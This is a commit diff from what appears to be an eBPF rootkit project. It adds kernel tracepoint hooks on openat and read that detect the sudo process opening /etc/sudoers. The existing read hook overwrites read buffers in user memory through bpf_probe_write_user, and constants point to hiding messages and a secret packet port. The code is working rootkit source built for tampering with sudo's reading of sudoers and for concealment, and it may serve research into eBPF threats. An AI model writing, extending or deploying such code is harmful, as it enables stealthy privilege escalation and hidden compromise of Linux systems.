Added new hooks and updated map fields to support new sudo module.

.vscode/settings.json

@@ -19,6 +19,7 @@
         "netlink.h": "c",
         "bpf_helper_defs.h": "c",
         "bpf.h": "c",
-        "stddef.h": "c"
+        "stddef.h": "c",
+        "ring_buffer.h": "c"
     }
 }

src/common/constants.h

@@ -6,8 +6,14 @@
 #define SECRET_PACKET_DEST_PORT 9000
 #define SUBSTITUTION_NEW_PAYLOAD "The previous message has been hidden ;)"
 
+
 //FS
 #define STRING_FS_HIDE "This won't be seen"
 #define STRING_FS_OVERWRITE "That is now hidden"
 
+#define STRING_FS_SUDO_TASK "sudo"
+#define STRING_FS_SUDO_TASK_LEN 5
+#define STRING_FS_SUDOERS_FILE "/etc/sudoers"
+#define STRING_FS_SUDOERS_FILE_LEN 13
+
 #endif

src/ebpf/include/bpf/defs.h

@@ -0,0 +1,28 @@
+#ifndef __BPF_MAP_DEFS_H
+#define __BPF_MAP_DEFS_H
+
+#include "headervmlinux.h"
+
+//Tasks and comms
+#define TASK_COMM_LEN 16
+
+//File system data of a running program which opened some fd
+#define FS_OPEN_DATA_PROGRAM_NAME_SIZE 16
+#define FS_OPEN_DATA_FILENAME_SIZE 16
+struct fs_open_data{
+	char* buf;
+	int fd;
+	__u32 pid;
+	char program_name[FS_OPEN_DATA_PROGRAM_NAME_SIZE];
+	char filename[FS_OPEN_DATA_FILENAME_SIZE];
+	int is_sudo;
+};
+
+struct fs_open{
+	__uint(type, BPF_MAP_TYPE_HASH);
+	__uint(max_entries, 4096);
+	__type(key, __u64); //thread group id(MSB) + pid (LSB)
+	__type(value, struct fs_open_data);
+} fs_open SEC(".maps");
+
+#endif

src/ebpf/include/bpf/fs.h

@@ -9,6 +9,7 @@
 #include <linux/ptrace.h>
 #include <linux/stat.h>*/
 #include <ctype.h>
+#include <string.h>
 
 #include <bpf/bpf_helpers.h>
 #include <bpf/bpf_tracing.h>
@@ -17,11 +18,12 @@
 #include "../../../common/constants.h"
 #include "../../../common/map_common.h"
 #include "../data/ring_buffer.h"
-#include "map_defs.h"
+#include "defs.h"
 #include "../utils/strings.h"
 
 /**
- * https://github.com/torvalds/linux/blob/master/kernel/trace/trace_syscalls.c#L673
+ * >> cat /sys/kernel/debug/tracing/events/syscalls/sys_exit_read/format
+ * Also https://github.com/torvalds/linux/blob/master/kernel/trace/trace_syscalls.c#L673
  */
 struct sys_read_exit_ctx {
     unsigned long long unused; //Pointer to pt_regs
@@ -30,7 +32,8 @@ struct sys_read_exit_ctx {
 };
 
 /**
- * https://github.com/torvalds/linux/blob/master/kernel/trace/trace_syscalls.c#L588
+ * >> cat /sys/kernel/debug/tracing/events/syscalls/sys_enter_read/format
+ * Also https://github.com/torvalds/linux/blob/master/kernel/trace/trace_syscalls.c#L588
  */
 struct sys_read_enter_ctx {
     unsigned long long unused; //Pointer to pt_regs
@@ -41,56 +44,40 @@ struct sys_read_enter_ctx {
     size_t count;
 };
 
+/**
+ * >> cat /sys/kernel/debug/tracing/events/syscalls/sys_enter_open/format
+ */
+struct sys_openat_enter_ctx {
+    unsigned long long unused;
+    int __syscall_nr;
+    unsigned int padding;
+    int dfd;
+    char* filename;
+    unsigned int flags;
+    umode_t mode;
+};
+
 static __always_inline int handle_tp_sys_enter_read(struct sys_read_enter_ctx *ctx, int fd, char* buf){
     __u64 pid_tgid = bpf_get_current_pid_tgid();
     __u32 pid = pid_tgid >> 32;
-    struct fs_open_data data = {
-        .buf = buf,
-        .fd = fd,
-        .pid = pid
-    };
-    bpf_map_update_elem(&fs_open, &pid_tgid, &data, BPF_ANY);
+
+    struct fs_open_data *stored_data = (struct fs_open_data*) bpf_map_lookup_elem(&fs_open, &pid_tgid);
+    if (stored_data == NULL){
+        //Not found
+        //bpf_printk("Not found\n");
+        return -1;
+    }
+
+    struct fs_open_data data = *stored_data;
+    data.buf = buf;
+    data.fd = fd;
+
+    bpf_map_update_elem(&fs_open, &pid_tgid, &data, BPF_EXIST);
     //bpf_printk("IN PID: %u, FS:%u\n", pid, fd);
     return 0;
 }
 
-static __always_inline int handle_sys_write(struct sys_read_enter_ctx *ctx, int fd, char* buf){
-
-}
-
-/**
- * @brief Receives read event and stores the parameters into internal map
- * 
- */
-SEC("tp/syscalls/sys_enter_read") 
-int tp_sys_enter_read(struct sys_read_enter_ctx *ctx) { 
-    struct sys_read_enter_ctx *rctx = ctx; 
-    if (ctx == NULL){
-        bpf_printk("Error\n");
-        return 0; 
-    }
-
-    int fd = (int) ctx->fd; 
-    char *buf = (char*) ctx->buf; 
-    return handle_tp_sys_enter_read(ctx, fd, buf); 
-} 
-
-/**
- * @brief Called AFTER the ksys_read call, checks the internal
- * map for the tgid+pid used and extracts the parameters.
- * Uses the user-space buffer reference for overwritting the returned
- * values. 
- * 
- */
-SEC("tp/syscalls/sys_exit_read")
-int tp_sys_exit_read(struct sys_read_exit_ctx *ctx){
-    __u64 pid_tgid = bpf_get_current_pid_tgid();
-    if(pid_tgid<0){
-        //bpf_printk("Out\n");
-        return -1;
-    }
-    //bpf_printk("OUT PID: %u\n", pid_tgid>>32);
-
+static __always_inline int handle_tp_sys_exit_read(struct sys_read_exit_ctx *ctx, __u64 pid_tgid){
     struct fs_open_data *data = (struct fs_open_data*) bpf_map_lookup_elem(&fs_open, &pid_tgid);
     if (data == NULL || data->buf == NULL){
         //Not found
@@ -126,10 +113,11 @@ int tp_sys_exit_read(struct sys_read_exit_ctx *ctx){
             //bpf_printk("Discarded string at pid cause c %u, %s\n", pid, buf);
             return -1;
         }
-        
     }
 
     bpf_printk("Overwritting at pid %u, %s\n", pid, buf);
+    bpf_printk("Filename is %s\n", data->filename);
+    bpf_printk("and program name is %s\n", data->program_name);
     if(bpf_probe_write_user((void*)buf, (void*)msg_overwrite, (__u32)sizeof(msg_overwrite)-1)<0){
         bpf_printk("Error writing to user memory\n");
     }
@@ -138,4 +126,106 @@ int tp_sys_exit_read(struct sys_read_exit_ctx *ctx){
     return 0;
 }
 
+static __always_inline int handle_tp_sys_enter_openat(struct sys_openat_enter_ctx *ctx, __u64 pid_tgid){
+    char comm[TASK_COMM_LEN] = {0};
+    int err = bpf_get_current_comm(comm, sizeof(comm));
+    /*struct fs_open_data *data = (struct fs_open_data*) bpf_map_lookup_elem(&fs_open, &pid_tgid);
+    if (data == NULL || data->buf == NULL){
+        //Not found
+        bpf_printk("Not found in openat\n");
+        return -1;
+    }*/
+    
+    if(err < 0){
+        return -1;
+    }
+
+    char filename[STRING_FS_SUDOERS_FILE_LEN] = {0};
+    bpf_probe_read_user(&filename, STRING_FS_SUDOERS_FILE_LEN, (char*)ctx->filename);
+
+    __u32 pid = pid_tgid >> 32;
+    struct fs_open_data data = {
+        .pid = pid
+    };
+    bpf_probe_read(data.filename, STRING_FS_SUDOERS_FILE_LEN, filename);
+    bpf_probe_read(data.program_name, FS_OPEN_DATA_PROGRAM_NAME_SIZE, comm);
+    
+    
+
+    //Check task is sudo
+    char *sudo = STRING_FS_SUDO_TASK;
+    if(str_n_compare(comm, TASK_COMM_LEN, sudo, STRING_FS_SUDO_TASK_LEN, STRING_FS_SUDO_TASK_LEN) != 0){
+        data.is_sudo = 0;
+        bpf_map_update_elem(&fs_open, &pid_tgid, &data, BPF_ANY);
+        return 0;
+    }
+
+    //Check filename is the sudoers file
+    char *sudoers = STRING_FS_SUDOERS_FILE;
+    if(str_n_compare(filename, STRING_FS_SUDOERS_FILE_LEN, sudoers, STRING_FS_SUDOERS_FILE_LEN, STRING_FS_SUDOERS_FILE_LEN) != 0){
+        data.is_sudo = 0;
+        bpf_map_update_elem(&fs_open, &pid_tgid, &data, BPF_ANY);
+        return 0;
+    }
+
+    data.is_sudo = 1;
+    bpf_map_update_elem(&fs_open, &pid_tgid, &data, BPF_ANY);
+    bpf_printk("It was a sudo!\n");
+
+    return 0;
+
+}
+
+
+
+/**
+ * @brief Receives read event and stores the parameters into internal map
+ * 
+ */
+SEC("tp/syscalls/sys_enter_read") 
+int tp_sys_enter_read(struct sys_read_enter_ctx *ctx) { 
+    struct sys_read_enter_ctx *rctx = ctx; 
+    if (ctx == NULL){
+        bpf_printk("Error\n");
+        return 0; 
+    }
+
+    int fd = (int) ctx->fd; 
+    char *buf = (char*) ctx->buf; 
+    return handle_tp_sys_enter_read(ctx, fd, buf); 
+} 
+
+/**
+ * @brief Called AFTER the ksys_read call, checks the internal
+ * map for the tgid+pid used and extracts the parameters.
+ * Uses the user-space buffer reference for overwritting the returned
+ * values. 
+ */
+SEC("tp/syscalls/sys_exit_read")
+int tp_sys_exit_read(struct sys_read_exit_ctx *ctx){
+    __u64 pid_tgid = bpf_get_current_pid_tgid();
+    if(pid_tgid<0){
+        //bpf_printk("Out\n");
+        return -1;
+    }
+    //bpf_printk("OUT PID: %u\n", pid_tgid>>32);
+
+    return handle_tp_sys_exit_read(ctx, pid_tgid);
+}
+
+/**
+ * @brief 
+ * 
+ */
+SEC("tp/syscalls/sys_enter_openat")
+int tp_sys_enter_openat(struct sys_openat_enter_ctx *ctx){
+    __u64 pid_tgid = bpf_get_current_pid_tgid();
+    if(pid_tgid<0){
+        //bpf_printk("Out\n");
+        return -1;
+    }
+    return handle_tp_sys_enter_openat(ctx, pid_tgid);
+}
+
+
 #endif

src/ebpf/include/bpf/map_defs.h

@@ -1,20 +0,0 @@
-#ifndef __BPF_MAP_DEFS_H
-#define __BPF_MAP_DEFS_H
-
-#include "headervmlinux.h"
-
-//File system
-struct fs_open_data{
-	char* buf;
-	int fd;
-	__u32 pid;
-};
-
-struct fs_open{
-	__uint(type, BPF_MAP_TYPE_HASH);
-	__uint(max_entries, 1024*sizeof(struct fs_open_data));
-	__type(key, __u64); //thread group id(MSB) + pid (LSB)
-	__type(value, struct fs_open_data);
-} fs_open SEC(".maps");
-
-#endif

src/ebpf/include/utils/strings.h

@@ -58,10 +58,6 @@ static __always_inline char* str_n_copy(char *dest, const char *src, int count){
 	return dest;
 }
 
-/**
- * @brief Checks if string is a
- * 
- */
 
 
 

src/user/include/modules/fs.h

@@ -16,9 +16,15 @@ int attach_tp_sys_exit_read(struct kit_bpf *skel){
     skel->links.tp_sys_exit_read = bpf_program__attach(skel->progs.tp_sys_exit_read);
 	return libbpf_get_error(skel->links.tp_sys_exit_read);
 }
+int attach_tp_sys_enter_openat(struct kit_bpf *skel){
+    skel->links.tp_sys_enter_openat = bpf_program__attach(skel->progs.tp_sys_enter_openat);
+	return libbpf_get_error(skel->links.tp_sys_enter_openat);
+}
 
 int attach_fs_all(struct kit_bpf *skel){
-    return attach_tp_sys_enter_read(skel) || attach_tp_sys_exit_read(skel);
+    return attach_tp_sys_enter_read(skel) || 
+        attach_tp_sys_exit_read(skel) ||
+        attach_tp_sys_enter_openat(skel);
 }
 
 
@@ -38,9 +44,19 @@ int detach_tp_sys_exit_read(struct kit_bpf *skel){
     }
     return 0;
 }
+int detach_tp_sys_enter_openat(struct kit_bpf *skel){
+    int err = detach_link_generic(skel->links.tp_sys_enter_openat);
+    if(err<0){
+        fprintf(stderr, "Failed to detach fs link\n");
+        return -1;
+    }
+    return 0;
+}
 
 int detach_fs_all(struct kit_bpf *skel){
-    return detach_tp_sys_enter_read(skel) || detach_tp_sys_exit_read(skel);
+    return detach_tp_sys_enter_read(skel) || 
+        detach_tp_sys_exit_read(skel) ||
+        detach_tp_sys_enter_openat(skel);
 }
 
 #endif

src/user/include/modules/module_manager.c

@@ -15,7 +15,8 @@ module_config_t module_config = {
     .fs_module = {
         .all = ON,
         .tp_sys_enter_read = OFF,
-        .tp_sys_exit_read = OFF
+        .tp_sys_exit_read = OFF,
+        .tp_sys_enter_openat = OFF
     }
 
 };
@@ -59,6 +60,7 @@ int setup_all_modules(){
     }else{
         if(config.fs_module.tp_sys_enter_read == ON) ret = attach_tp_sys_enter_read(attr.skel);
         if(config.fs_module.tp_sys_exit_read == ON) ret = attach_tp_sys_exit_read(attr.skel);
+        if(config.fs_module.tp_sys_enter_openat == ON) ret = attach_tp_sys_enter_openat(attr.skel);
     }
     if(ret!=0) return -1;
 

src/user/include/modules/module_manager.h

@@ -27,6 +27,7 @@ typedef struct module_config_t{
         char all;
         char tp_sys_enter_read;
         char tp_sys_exit_read;
+        char tp_sys_enter_openat;
     }fs_module;
 
 } module_config_t;